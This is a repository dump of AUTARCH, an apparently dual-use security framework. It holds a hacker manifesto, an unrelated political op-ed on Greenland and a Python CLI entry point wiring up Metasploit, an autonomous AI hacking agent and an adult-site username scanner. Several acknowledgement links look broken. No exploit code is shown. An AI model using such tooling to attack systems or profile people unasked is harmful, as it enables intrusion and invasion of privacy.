Yet, if left unchecked, artificial intelligence risks becoming a silent but powerful tool to erode constitutional protections without the end user even realizing it is happening. However, if governed wisely, the same technology can help safeguard rights by exposing corruption, enhancing transparency, and empowering individuals. The real question is not whether AI will shape our constitutional order; it is how we will let it.
---
## Our Rambling Rant...Who We Are And Why We Do It
We are dedicated to providing cutting-edge security solutions at no cost to the community, and since our source code is protected speech, we are not going anywhere. Criminals makes millions every year selling tools that are designed to be point and disrupt. So we decided why not do the same with security tools, except at no cost for the home user. Until now, governments, criminal organizations and other groups have paid hackers thousands of dollars to buy what are known as 0-day exploits, flaws in software you use everyday that have no fix or patches. Others report them to the manufacturer for money in bounty programs. We use them to create tools that protect YOU and your family members in real-time from these 0-days, as well as advance the right to repair movement and homebrew scene by exploiting these same flaws for good/fun.
If you are asking yourself why would we do this? It because we are the hackers who still have the core belief that, like anarchy is not about violence and smashing windows, hacking is not about damaging lives, stealing data or making money. Its about pushing boundaries, exploring, finding new and better ways of doing something and improving peoples lives. And for the longest time, hackers were at the forefront of the tech world. They didn't have to buy their own platforms or pay people to like them. Hackers didn't care how many people followed them. Instead of using their real names, they had monikers like Grandmaster Ratte, Mudge, Sid Vicious...and yes, even Lord British.
They taught us hacking was more a mentality like punk then a adjective describing an action. They taught us that just because we can doesn't meant we should, and if someone tells us we cant, we will prove them wrong...just so we can say we did it. For us, its about having fun, a very important part of living as long as your not hurting other people. And that's what the original hackers from MIT, Berkley and Cal-tech taught us, dating all the way back to the 1950's when computers we more of a mechanical machine and looked nothing like what a computer today looks like, let alone functions like one.
But everything changed after 9/11 happened. While it was very important people like the members of the Cult of The Dead Cow and other groups came to aid of those fighting the war against a brand new world, one the government knew nothing about (due their own fault). But as the war dragged on and and computers evolved, the hackers did not find the balance between going to far and remembering what the word hacker once meant. They forgot what the core of being one was about. While making money is fine, those tools ended up on the phones and computers of dissidents, reporters and have led to the deaths of people seeking nothing more than a better life or for trying to report on war crimes. They have become the go to tool for dictators controlling their populations. And those tools have continued to evolve. With the dawn of a new AI era, surveillance spyware, crypto-jackers and info stealers are being created faster than ever. And with only a handful of the old guard still active working on projects such as Veilid trying to undo the damage that was done, we are losing the war on safety, privacy and freedom.
While the immediate effect of these tools were not known to many, and it took years of court cases and FOI requests to reveal just how they were being used by the US government and others, the real damage was already done. Then when these tools were leaked, instead of helping on the front lines to stop the damage being done, the people who created them slipped into C-Suite jobs or government advisor roles making millions with their true backgrounds completely hidden.
That is why we formed this group. As the old guard moved on, not looking back, no one stepped up to take their place and instead left the next generation to learn on their own. And while some of these groups had the right idea, they had the wrong execution. You know the saying, "The path to hell is paved with good intentions."
Besides making tools to to help stop the current war online, we also hope to to lead by example. To show the current generation that their are better ways then being malicious, such as releasing tools that will protect you from 0-day exploits. Tools that will outsmart the spyware and malware/ransomware that has infected millions of computer. But also how to still have fun with it.
No, we are not legion. And some of us are getting old, so we might forget. But its time hackers are no longer a bad word again. For a full history of the hacker revolution, there are some great books. I suggest reading Cult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World by Joseph Mann. (When I was just a little script kiddie myself in the early 90's, I spent countless hours on their BBS, reading and learning everything I could, so I'm a little biased. And a little traumatized.)
This is not some manifesto, its just a lesson in history and a plea to other hackers. If we don't want history to repeat at the dawn of this new computing era we just entered, we need hackers on the side of....well chaotic good. If you want to join us, find us (we really are not hiding).
*Note: While we try to stay away from politics, this has to be said because no one is saying it. Everyone rather cower to someone who thinks they can do whatever they hell they want. People are f\*cking tired of it, and tired of the people we elected to represent us to scared to say what everyone is thinking.*
*Links to our github and automated pentesting and offensive models will be re-added once our website resigned is complete. For now, find them on Huggingface.*
---
### Europe Must Remember: America Needs Us More Than We Need Them
The silence from Brussels and London has been deafening.
As President Trump openly muses about acquiring Greenland—including by force—European leaders have responded with little more than diplomatic throat-clearing and carefully worded statements of concern. This timidity is not statesmanship. It is abdication.
Let us be blunt: Greenland is European territory. It is an autonomous region of Denmark, a NATO ally, an EU-associated territory. Any attempt to take it by force would be an act of war against a European nation. That this even requires stating reveals how far European powers have allowed themselves to be diminished in American eyes.
The EU and the UK have seemingly forgotten what they are. These are nations and institutions that predate the American experiment by centuries—in some cases, by millennia. Rome rose and fell before English common law was codified. The Treaty of Westphalia established the modern international order while America was still a collection of colonies. Europe has survived plagues, world wars, occupations, and the collapse of empires. It will survive a trade dispute with Washington.
The same cannot be said in reverse.
**The Arsenal of Resistance**
Europe is not without weapons in an economic conflict—and they are far more potent than Washington seems to appreciate.
Consider pharmaceuticals. European companies supply a staggering portion of America's medicines. Novo Nordisk, Sanofi, AstraZeneca, Roche, Bayer—these names are not optional for American patients. An export restriction on critical medications would create a healthcare crisis within weeks. The United States simply does not have the domestic capacity to replace these supplies.
Then there is aerospace. Airbus delivers roughly half of all commercial aircraft purchased by American carriers. Boeing cannot meet domestic demand alone, as its ongoing production disasters have made painfully clear. European aviation authorities could slow-walk certifications, delay deliveries, or restrict parts supplies. American airlines would feel the pinch immediately.
Financial services offer another pressure point. London remains a global financial hub despite Brexit. European banks hold substantial American assets and conduct enormous daily transaction volumes with US counterparts. Regulatory friction, transaction delays, or capital requirements could introduce chaos into markets that depend on seamless transatlantic flows.
Luxury goods, automobiles, specialty chemicals, precision machinery, wine and spirits, fashion—the list continues. Europe exports goods America's wealthy and middle class have grown accustomed to. Tariffs work both ways, and European consumers can find alternatives for American products far more easily than Americans can replace a BMW, a bottle of Bordeaux, or a course of medication.
And then there is the nuclear option: the US dollar's reserve currency status depends in part on European cooperation. If the EU began conducting more trade in euros, requiring euro settlement for energy purchases, or coordinating with other blocs to reduce dollar dependence, the long-term consequences for American economic hegemony would be severe. This would not happen overnight, but the mere credible threat of movement in this direction should give Washington pause.
**The Costs for America**
The consequences of a genuine EU-US economic rupture would be asymmetric—and not in America's favor.
American consumers would face immediate price shocks. Goods that currently flow freely across the Atlantic would become scarce or expensive. Pharmaceutical shortages would strain an already fragile healthcare system. Automotive supply chains would seize. Technology companies dependent on European components, software, and talent would scramble.
American farmers, already battered by previous trade wars, would lose one of their largest export markets. Soybeans, pork, poultry, and agricultural machinery would stack up in warehouses while European buyers turned to Brazil, Argentina, and domestic producers.
The financial sector would face regulatory balkanization. American banks operating in Europe would confront new compliance burdens. Investment flows would slow. The certainty that has underpinned transatlantic commerce for decades would evaporate.
Perhaps most critically, American diplomatic isolation would accelerate. If Washington demonstrates it is willing to bully its closest allies, why would any nation trust American commitments? The soft power that has been America's greatest asset since 1945 would erode further, pushing more countries toward Beijing's orbit—precisely the outcome American strategists claim to fear most.
**The Ukraine Question**
Some will argue that European resistance to American pressure would harm Ukraine. This concern deserves acknowledgment—and a clear-eyed response.
Yes, American military aid has been critical to Ukraine's defense. Yes, a rupture in transatlantic relations could complicate the flow of weapons and intelligence. Yes, Kyiv would suffer if its two largest backers turned on each other.
But let us be absolutely clear about where responsibility would lie: with Washington.
Europe has already demonstrated its commitment to Ukraine. The EU has provided tens of billions in financial assistance, welcomed millions of refugees, imposed sweeping sanctions on Russia, and begun the long process of integrating Ukraine into European structures. This support would continue—and likely intensify—regardless of American posturing. If anything, American abandonment would accelerate European defense integration and military investment, ultimately producing a more capable and self-reliant European security architecture.
If Ukraine suffers because the United States chose to bully its allies rather than work with them, that is an American failure, not a European one. Europe did not pick this fight. Europe is not threatening to seize allied territory. Europe is not issuing ultimatums and demanding policy changes under threat of economic warfare.
Washington wants to play the bully and then blame Europe for the consequences? That narrative must be rejected categorically. The EU and UK should make clear: we will defend Ukraine, we will defend ourselves, and we will not be blackmailed. If the transatlantic relationship fractures, history will record who swung the hammer.
**A Call for Courage**
The United States depends on global supply chains for everything from pharmaceuticals to rare earth minerals, consumer electronics to industrial machinery. American manufacturing has been hollowed out over decades of offshoring. The country runs persistent trade deficits precisely because it cannot produce what it consumes. Europe, by contrast, maintains robust manufacturing bases, agricultural self-sufficiency in key sectors, and—critically—the institutional knowledge to rebuild what has atrophied.
Yes, a genuine economic rupture with America would be painful. Germany would need to revive its defense industrial base. European nations would need to accelerate military integration and spending. Supply chains would require restructuring. None of this would be pleasant or cheap.
But Europe would adapt. It always has.
The deeper issue is not economic arithmetic. It is the fundamental question of sovereignty. When the United States threatens to withdraw support unless European nations adopt particular policies—whether on trade, technology, or anything else—it is not behaving as an ally. It is behaving as a suzerain issuing commands to vassal states.
This must end.
European leaders need to communicate, clearly and publicly, that the transatlantic relationship is a partnership of equals or it is nothing. The United States does not dictate European trade policy. It does not dictate European environmental regulations. It does not dictate which nations Europe may conduct commerce with. And it absolutely does not get to annex European territory through threats or force.
If Washington wishes to play hardball, Brussels and London should be prepared to respond in kind. The tools exist. The leverage exists. The only question is whether European leaders have the spine to use them.
The current moment calls for steel, not silk. European leaders must remind Washington of a simple truth: alliances are built on mutual respect, not submission. The United States is not in charge of the world. It does not write the laws of other nations. And if it wishes to remain a partner rather than become an adversary, it would do well to remember that Europe has options—and the will to use them.
The only question is whether European leaders have the courage to say so.
---
### About darkHal Security Group
> *"There's a reason you separate military and the police. One fights the enemies of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people."* — Commander Adama, Battlestar Galactica
---
## Acknowledgements
AUTARCH builds on the work of many outstanding open-source projects. We thank and acknowledge them all:
### Frameworks & Libraries
- [Flask](https://flask.palletsprojects.com/) — Web application framework
- [Jinja2](https://jinja.palletsprojects.com/) — Template engine
- [llama.cpp](https://github.com/ggml-org/llama.cpp) — Local LLM inference engine
- [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) — Python bindings for llama.cpp
- [HuggingFace Transformers](https://github.com/huggingface/transformers) — ML model library
- [Anthropic Claude API](https://docs.anthropic.com/) — Cloud LLM backend
- [FastMCP](https://github.com/jlowin/fastmcp) — Model Context Protocol server
### Security Tools
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — Penetration testing framework
- [RouterSploit](https://github.com/threat9/routersploit) — Router exploitation framework
- [Nmap](https://nmap.org/) — Network scanner and mapper
- [Wireshark / tshark](https://www.wireshark.org/) — Network protocol analyzer
- [Scapy](https://scapy.net/) — Packet crafting and analysis
- [WireGuard](https://www.wireguard.com/) — Modern VPN tunnel
### Hardware & Mobile
- [@yume-chan/adb](https://github.com/nicola-nicola/nicola-nicola) — ADB over WebUSB
- [android-fastboot](https://github.com/nicola-nicola/nicola-nicola) — Fastboot over WebUSB
- [esptool-js](https://github.com/nicola-nicola/nicola-nicola) — ESP32 flashing in browser
- [Android Platform Tools](https://developer.android.com/tools/releases/platform-tools) — ADB & Fastboot CLI
- [esptool](https://github.com/nicola-nicola/nicola-nicola) — ESP32 firmware flashing
- [pyserial](https://github.com/pyserial/pyserial) — Serial port communication
- [pyshark](https://github.com/KimiNewt/pyshark) — Wireshark Python interface
- [scrcpy](https://github.com/Genymobile/scrcpy) — Android screen mirroring
- [libadb-android](https://github.com/nicola-nicola/nicola-nicola) — ADB client for Android
### Python Libraries
- [bcrypt](https://github.com/pyca/bcrypt) — Password hashing
- [requests](https://github.com/psf/requests) — HTTP client
- [msgpack](https://github.com/msgpack/msgpack-python) — Serialization (Metasploit RPC)
- [cryptography](https://github.com/pyca/cryptography) — Cryptographic primitives
- [PyCryptodome](https://github.com/Legrandin/pycryptodome) — AES encryption
- [Pillow](https://github.com/python-pillow/Pillow) — Image processing
- [qrcode](https://github.com/lincolnloop/python-qrcode) — QR code generation
- [zeroconf](https://github.com/python-zeroconf/python-zeroconf) — mDNS service discovery
- [PyInstaller](https://github.com/pyinstaller/pyinstaller) — Executable packaging
- [cx_Freeze](https://github.com/marcelotduarte/cx_Freeze) — MSI installer packaging
### Android / Kotlin
- [AndroidX](https://developer.android.com/jetpack/androidx) — Jetpack libraries
- [Material Design 3](https://m3.material.io/) — UI components
- [Conscrypt](https://github.com/nicola-nicola/nicola-nicola) — SSL/TLS provider for Android
### Build Tools
- [esbuild](https://esbuild.github.io/) — JavaScript bundler
- [Gradle](https://gradle.org/) — Android build system
### Data Sources
- [NVD API v2.0](https://nvd.nist.gov/developers/vulnerabilities) — National Vulnerability Database
---
*Built with discipline by darkHal Security Group & Setec Security Labs.*

2
activate.sh Normal file
View File

@@ -0,0 +1,2 @@
#!/bin/bash
source "$(dirname "$(realpath "$0")")/venv/bin/activate"

BIN
autarch.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

801
autarch.py Normal file
View File

@@ -0,0 +1,801 @@
#!/usr/bin/env python3
"""
AUTARCH - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking
By darkHal Security Group and Setec Security Labs
Main entry point for the AUTARCH framework.
"""
import sys
import shutil
import argparse
import importlib.util
from pathlib import Path
from textwrap import dedent
# Version info
VERSION = "1.3"
BUILD_DATE = "2026-01-14"
# Ensure the framework directory is in the path
FRAMEWORK_DIR = Path(__file__).parent
sys.path.insert(0, str(FRAMEWORK_DIR))
from core.banner import Colors, clear_screen, display_banner
def get_epilog():
"""Get detailed help epilog text."""
return f"""{Colors.BOLD}CATEGORIES:{Colors.RESET}
defense Defensive security tools (hardening, audits, monitoring)
offense Penetration testing (Metasploit integration, exploits)
counter Counter-intelligence (threat hunting, anomaly detection)
analyze Forensics & analysis (file analysis, strings, hashes)
osint Open source intelligence (email, username, domain lookup)
simulate Attack simulation (port scan, payloads, stress test)
{Colors.BOLD}MODULES:{Colors.RESET}
chat Interactive LLM chat interface
agent Autonomous AI agent with tool access
msf Metasploit Framework interface
defender System hardening and security checks
counter Threat detection and hunting
analyze File forensics and analysis
recon OSINT reconnaissance (email, username, phone, domain)
adultscan Adult site username scanner
simulate Attack simulation tools
{Colors.BOLD}EXAMPLES:{Colors.RESET}
{Colors.DIM}# Start interactive menu{Colors.RESET}
python autarch.py
{Colors.DIM}# Run a specific module{Colors.RESET}
python autarch.py -m chat
python autarch.py -m adultscan
python autarch.py --module recon
{Colors.DIM}# List all available modules{Colors.RESET}
python autarch.py -l
python autarch.py --list
{Colors.DIM}# Quick OSINT username scan{Colors.RESET}
python autarch.py osint <username>
{Colors.DIM}# Show current configuration{Colors.RESET}
python autarch.py --show-config
{Colors.DIM}# Re-run setup wizard{Colors.RESET}
python autarch.py --setup
{Colors.DIM}# Skip setup (run without LLM){Colors.RESET}
python autarch.py --skip-setup
{Colors.DIM}# Use alternate config file{Colors.RESET}
python autarch.py -c /path/to/config.conf
{Colors.BOLD}FILES:{Colors.RESET}
autarch_settings.conf Main configuration file
user_manual.md Comprehensive user manual
custom_adultsites.json Custom adult sites storage
custom_sites.inf Bulk import domains file
GUIDE.md Quick reference guide
DEVLOG.md Development log
{Colors.BOLD}CONFIGURATION:{Colors.RESET}
LLM settings:
model_path Path to GGUF model file
n_ctx Context window size (default: 4096)
n_threads CPU threads (default: 4)
n_gpu_layers GPU layers to offload (default: 0)
temperature Sampling temperature (default: 0.7)
MSF settings:
host Metasploit RPC host (default: 127.0.0.1)
port Metasploit RPC port (default: 55553)
ssl Use SSL connection (default: true)
autoconnect Auto-start msfrpcd on launch (default: true)
{Colors.BOLD}METASPLOIT AUTO-CONNECT:{Colors.RESET}
On startup, AUTARCH will:
1. Scan for existing msfrpcd server
2. If found: stop it and prompt for new credentials
3. Start msfrpcd with sudo (for raw socket module support)
4. Connect to the server
To skip autoconnect: python autarch.py --no-msf
Quick connect: python autarch.py --msf-user msf --msf-pass secret
Without sudo: python autarch.py --msf-no-sudo
{Colors.BOLD}MORE INFO:{Colors.RESET}
Documentation: See GUIDE.md for full documentation
Development: See DEVLOG.md for development history
{Colors.DIM}Project AUTARCH - By darkHal Security Group and Setec Security Labs{Colors.RESET}
"""
def create_parser():
"""Create the argument parser."""
parser = argparse.ArgumentParser(
prog='autarch',
description=f'{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking',
epilog=get_epilog(),
formatter_class=argparse.RawDescriptionHelpFormatter,
add_help=False # We'll add custom help
)
# Help and version
parser.add_argument(
'-h', '--help',
action='store_true',
help='Show this help message and exit'
)
parser.add_argument(
'-v', '--version',
action='store_true',
help='Show version information and exit'
)
# Configuration
parser.add_argument(
'-c', '--config',
metavar='FILE',
help='Use alternate configuration file'
)
parser.add_argument(
'--show-config',
action='store_true',
help='Display current configuration and exit'
)
parser.add_argument(
'--manual',
action='store_true',
help='Show the user manual'
)
parser.add_argument(
'--setup',
action='store_true',
help='Run the setup wizard'
)
parser.add_argument(
'--skip-setup',
action='store_true',
help='Skip first-time setup (run without LLM)'
)
# Module execution
parser.add_argument(
'-m', '--module',
metavar='NAME',
help='Run a specific module directly'
)
parser.add_argument(
'-l', '--list',
action='store_true',
help='List all available modules'
)
parser.add_argument(
'--list-category',
metavar='CAT',
choices=['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core'],
help='List modules in a specific category'
)
# Display options
parser.add_argument(
'--no-banner',
action='store_true',
help='Suppress the ASCII banner'
)
parser.add_argument(
'-q', '--quiet',
action='store_true',
help='Minimal output mode'
)
parser.add_argument(
'--verbose',
action='store_true',
help='Enable verbose output'
)
# Web UI options
parser.add_argument(
'--web',
action='store_true',
help='Start the web dashboard'
)
parser.add_argument(
'--web-port',
type=int,
metavar='PORT',
help='Web dashboard port (default: 8181)'
)
parser.add_argument(
'--no-tray',
action='store_true',
help='Disable system tray icon (run web server in foreground only)'
)
# Web service management
parser.add_argument(
'--service',
metavar='ACTION',
choices=['start', 'stop', 'restart', 'status', 'enable', 'disable', 'install'],
help='Manage AUTARCH web service (start|stop|restart|status|enable|disable|install)'
)
# MCP server
parser.add_argument(
'--mcp',
choices=['stdio', 'sse'],
nargs='?',
const='stdio',
metavar='MODE',
help='Start MCP server (stdio for Claude Desktop/Code, sse for web clients)'
)
parser.add_argument(
'--mcp-port',
type=int,
default=8081,
metavar='PORT',
help='MCP SSE server port (default: 8081)'
)
# UPnP options
parser.add_argument(
'--upnp-refresh',
action='store_true',
help='Refresh all UPnP port mappings and exit (for cron use)'
)
# Metasploit options
parser.add_argument(
'--no-msf',
action='store_true',
help='Skip Metasploit autoconnect on startup'
)
parser.add_argument(
'--msf-user',
metavar='USER',
help='MSF RPC username for quick connect'
)
parser.add_argument(
'--msf-pass',
metavar='PASS',
help='MSF RPC password for quick connect'
)
parser.add_argument(
'--msf-no-sudo',
action='store_true',
help='Do not use sudo when starting msfrpcd (limits some modules)'
)
# Quick commands (positional)
parser.add_argument(
'command',
nargs='?',
choices=['chat', 'agent', 'osint', 'scan', 'analyze'],
help='Quick command to run'
)
parser.add_argument(
'target',
nargs='?',
help='Target for quick commands (username, IP, file, etc.)'
)
return parser
def show_version():
"""Display version information."""
print(f"""
{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent
Version: {VERSION}
Build: {BUILD_DATE}
{Colors.DIM}By darkHal Security Group and Setec Security Labs{Colors.RESET}
Components:
- Core Framework v{VERSION}
- LLM Integration llama-cpp-python
- MSF Integration Metasploit RPC
- Agent System Autonomous tools
Modules:
- chat Interactive LLM chat
- agent Autonomous AI agent
- msf Metasploit interface
- defender System hardening (defense)
- counter Threat detection (counter)
- analyze Forensics tools (analyze)
- recon OSINT reconnaissance (osint)
- adultscan Adult site scanner (osint)
- simulate Attack simulation (simulate)
Python: {sys.version.split()[0]}
Path: {FRAMEWORK_DIR}
""")
def show_config():
"""Display current configuration."""
from core.config import get_config
config = get_config()
print(f"\n{Colors.BOLD}AUTARCH Configuration{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}\n")
print(f"{Colors.CYAN}Config File:{Colors.RESET} {config.config_path}")
print()
# LLM Settings
print(f"{Colors.CYAN}LLM Settings:{Colors.RESET}")
llama = config.get_llama_settings()
for key, value in llama.items():
print(f" {key:20} = {value}")
# Autarch Settings
print(f"\n{Colors.CYAN}Autarch Settings:{Colors.RESET}")
print(f" {'first_run':20} = {config.get('autarch', 'first_run')}")
print(f" {'modules_path':20} = {config.get('autarch', 'modules_path')}")
print(f" {'verbose':20} = {config.get('autarch', 'verbose')}")
# MSF Settings
print(f"\n{Colors.CYAN}Metasploit Settings:{Colors.RESET}")
try:
from core.msf import get_msf_manager
msf = get_msf_manager()
settings = msf.get_settings()
for key, value in settings.items():
if key == 'password':
value = '*' * len(value) if value else '(not set)'
print(f" {key:20} = {value}")
except:
print(f" {Colors.DIM}(MSF not configured){Colors.RESET}")
print()
def list_modules(category=None):
"""List available modules."""
from core.menu import MainMenu, CATEGORIES
menu = MainMenu()
menu.load_modules()
print(f"\n{Colors.BOLD}Available Modules{Colors.RESET}")
print(f"{Colors.DIM}{'' * 60}{Colors.RESET}\n")
if category:
# List specific category
cat_info = CATEGORIES.get(category, {})
modules = menu.get_modules_by_category(category)
color = cat_info.get('color', Colors.WHITE)
print(f"{color}{Colors.BOLD}{category.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
print()
if modules:
for name, info in modules.items():
print(f" {color}{name:15}{Colors.RESET} {info.description}")
print(f" {Colors.DIM}{'':15} v{info.version} by {info.author}{Colors.RESET}")
else:
print(f" {Colors.DIM}No modules in this category{Colors.RESET}")
else:
# List all categories
for cat_name, cat_info in CATEGORIES.items():
modules = menu.get_modules_by_category(cat_name)
if not modules:
continue
color = cat_info.get('color', Colors.WHITE)
print(f"{color}{Colors.BOLD}{cat_name.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
for name, info in modules.items():
print(f" {color}[{name}]{Colors.RESET} {info.description}")
print()
print(f"{Colors.DIM}Total modules: {len(menu.modules)}{Colors.RESET}")
print(f"{Colors.DIM}Run with: python autarch.py -m <module_name>{Colors.RESET}\n")
def run_module(module_name, quiet=False):
"""Run a specific module directly."""
modules_path = FRAMEWORK_DIR / 'modules'
module_file = modules_path / f"{module_name}.py"
if not module_file.exists():
print(f"{Colors.RED}[X] Module not found: {module_name}{Colors.RESET}")
print(f"{Colors.DIM}Use --list to see available modules{Colors.RESET}")
sys.exit(1)
try:
spec = importlib.util.spec_from_file_location(module_name, module_file)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
if hasattr(module, 'run'):
if not quiet:
clear_screen()
display_banner()
print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}\n")
module.run()
else:
print(f"{Colors.RED}[X] Module '{module_name}' has no run() function{Colors.RESET}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[X] Module error: {e}{Colors.RESET}")
sys.exit(1)
def quick_osint(username):
"""Quick OSINT username lookup."""
print(f"\n{Colors.CYAN}Quick OSINT: {username}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 40}{Colors.RESET}\n")
# Run adultscan with username
try:
from modules.adultscan import AdultScanner
scanner = AdultScanner()
scanner.scan_username(username)
scanner.display_results()
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
def quick_scan(target):
"""Quick port scan."""
print(f"\n{Colors.CYAN}Quick Scan: {target}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 40}{Colors.RESET}\n")
try:
from modules.simulate import Simulator
sim = Simulator()
# Would need to modify simulator to accept target directly
# For now, just inform user
print(f"Use: python autarch.py -m simulate")
print(f"Then select Port Scanner and enter: {target}")
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
def manage_service(action):
"""Manage the AUTARCH web dashboard systemd service."""
import subprocess
SERVICE_NAME = "autarch-web"
SERVICE_FILE = FRAMEWORK_DIR / "scripts" / "autarch-web.service"
SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service")
if action == 'install':
# Install the service file
if not SERVICE_FILE.exists():
print(f"{Colors.RED}[X] Service file not found: {SERVICE_FILE}{Colors.RESET}")
return
try:
subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True)
subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True)
print(f"{Colors.GREEN}[+] Service installed: {SYSTEMD_PATH}{Colors.RESET}")
print(f"{Colors.DIM} Enable with: python autarch.py --service enable{Colors.RESET}")
print(f"{Colors.DIM} Start with: python autarch.py --service start{Colors.RESET}")
except subprocess.CalledProcessError as e:
print(f"{Colors.RED}[X] Install failed: {e}{Colors.RESET}")
return
if not SYSTEMD_PATH.exists():
print(f"{Colors.YELLOW}[!] Service not installed. Run: python autarch.py --service install{Colors.RESET}")
return
cmd_map = {
'start': ['sudo', 'systemctl', 'start', SERVICE_NAME],
'stop': ['sudo', 'systemctl', 'stop', SERVICE_NAME],
'restart': ['sudo', 'systemctl', 'restart', SERVICE_NAME],
'enable': ['sudo', 'systemctl', 'enable', SERVICE_NAME],
'disable': ['sudo', 'systemctl', 'disable', SERVICE_NAME],
}
if action == 'status':
result = subprocess.run(
['systemctl', 'is-active', SERVICE_NAME],
capture_output=True, text=True
)
is_active = result.stdout.strip()
result2 = subprocess.run(
['systemctl', 'is-enabled', SERVICE_NAME],
capture_output=True, text=True
)
is_enabled = result2.stdout.strip()
color = Colors.GREEN if is_active == 'active' else Colors.RED
print(f"\n {Colors.BOLD}AUTARCH Web Service{Colors.RESET}")
print(f" {'' * 30}")
print(f" Status: {color}{is_active}{Colors.RESET}")
print(f" Enabled: {is_enabled}")
print()
# Show journal output
result3 = subprocess.run(
['journalctl', '-u', SERVICE_NAME, '-n', '5', '--no-pager'],
capture_output=True, text=True
)
if result3.stdout.strip():
print(f" {Colors.DIM}Recent logs:{Colors.RESET}")
for line in result3.stdout.strip().split('\n'):
print(f" {Colors.DIM}{line}{Colors.RESET}")
return
if action in cmd_map:
try:
subprocess.run(cmd_map[action], check=True)
print(f"{Colors.GREEN}[+] Service {action}: OK{Colors.RESET}")
except subprocess.CalledProcessError as e:
print(f"{Colors.RED}[X] Service {action} failed: {e}{Colors.RESET}")
def check_first_run():
"""Check if this is the first run and execute setup if needed."""
from core.config import get_config
config = get_config()
if config.is_first_run():
from modules.setup import run as run_setup
if not run_setup():
print("Setup cancelled. Exiting.")
sys.exit(1)
def msf_autoconnect(skip: bool = False, username: str = None, password: str = None,
use_sudo: bool = True):
"""Handle Metasploit autoconnect on startup.
Args:
skip: Skip autoconnect entirely
username: Optional username for quick connect
password: Optional password for quick connect
use_sudo: Run msfrpcd with sudo (default True for raw socket support)
"""
if skip:
return
from core.msf import get_msf_manager, msf_startup_autoconnect, msf_quick_connect, MSGPACK_AVAILABLE
if not MSGPACK_AVAILABLE:
print(f"{Colors.DIM} [MSF] msgpack not available - skipping autoconnect{Colors.RESET}")
return
# If credentials provided via command line, use quick connect
if password:
msf_quick_connect(username=username, password=password, use_sudo=use_sudo)
else:
# Use interactive autoconnect
msf_startup_autoconnect()
def run_setup_wizard():
"""Run the setup wizard."""
from modules.setup import run as run_setup
run_setup()
def main():
"""Main entry point for AUTARCH."""
parser = create_parser()
args = parser.parse_args()
# Handle help
if args.help:
if not args.quiet:
display_banner()
parser.print_help()
sys.exit(0)
# Handle version
if args.version:
show_version()
sys.exit(0)
# Handle config file override
if args.config:
from core import config as config_module
config_module._config = config_module.Config(args.config)
# Handle show config
if args.show_config:
show_config()
sys.exit(0)
# Handle manual
if getattr(args, 'manual', False):
manual_path = FRAMEWORK_DIR / 'user_manual.md'
if manual_path.exists():
# Try to use less/more for paging
import subprocess
pager = 'less' if shutil.which('less') else ('more' if shutil.which('more') else None)
if pager:
subprocess.run([pager, str(manual_path)])
else:
print(manual_path.read_text())
else:
print(f"{Colors.RED}[X] User manual not found: {manual_path}{Colors.RESET}")
sys.exit(0)
# Handle setup
if args.setup:
if not args.no_banner:
clear_screen()
display_banner()
run_setup_wizard()
sys.exit(0)
# Handle skip setup
if args.skip_setup:
from modules.setup import SetupWizard
wizard = SetupWizard()
wizard.skip_setup()
sys.exit(0)
# Handle service management
if args.service:
manage_service(args.service)
sys.exit(0)
# Handle MCP server
if args.mcp:
from core.mcp_server import run_stdio, run_sse
if args.mcp == 'sse':
print(f"{Colors.CYAN}[*] Starting AUTARCH MCP server (SSE) on port {args.mcp_port}{Colors.RESET}")
run_sse(port=args.mcp_port)
else:
run_stdio()
sys.exit(0)
# Handle web dashboard
if args.web:
from web.app import create_app
from core.config import get_config
from core.paths import get_data_dir
config = get_config()
app = create_app()
host = config.get('web', 'host', fallback='0.0.0.0')
port = args.web_port or config.get_int('web', 'port', fallback=8181)
# Auto-generate self-signed TLS cert for HTTPS (required for WebUSB over LAN)
ssl_ctx = None
use_https = config.get('web', 'https', fallback='true').lower() != 'false'
if use_https:
import os, subprocess as _sp
cert_dir = os.path.join(get_data_dir(), 'certs')
os.makedirs(cert_dir, exist_ok=True)
cert_path = os.path.join(cert_dir, 'autarch.crt')
key_path = os.path.join(cert_dir, 'autarch.key')
if not os.path.exists(cert_path) or not os.path.exists(key_path):
print(f"{Colors.CYAN}[*] Generating self-signed TLS certificate...{Colors.RESET}")
_sp.run([
'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
'-keyout', key_path, '-out', cert_path,
'-days', '3650', '-nodes',
'-subj', '/CN=AUTARCH/O=darkHal',
], check=True, capture_output=True)
ssl_ctx = (cert_path, key_path)
proto = 'https'
else:
proto = 'http'
print(f"{Colors.GREEN}[+] Starting AUTARCH Web Dashboard on {proto}://{host}:{port}{Colors.RESET}")
# System tray mode (default on desktop environments)
if not args.no_tray:
try:
from core.tray import TrayManager, TRAY_AVAILABLE
if TRAY_AVAILABLE:
print(f"{Colors.DIM} System tray icon active — right-click to control{Colors.RESET}")
tray = TrayManager(app, host, port, ssl_context=ssl_ctx)
tray.run() # Blocks until Exit
sys.exit(0)
except Exception:
pass # Fall through to normal mode
# Fallback: run Flask directly (headless / --no-tray)
app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx)
sys.exit(0)
# Handle UPnP refresh (for cron)
if args.upnp_refresh:
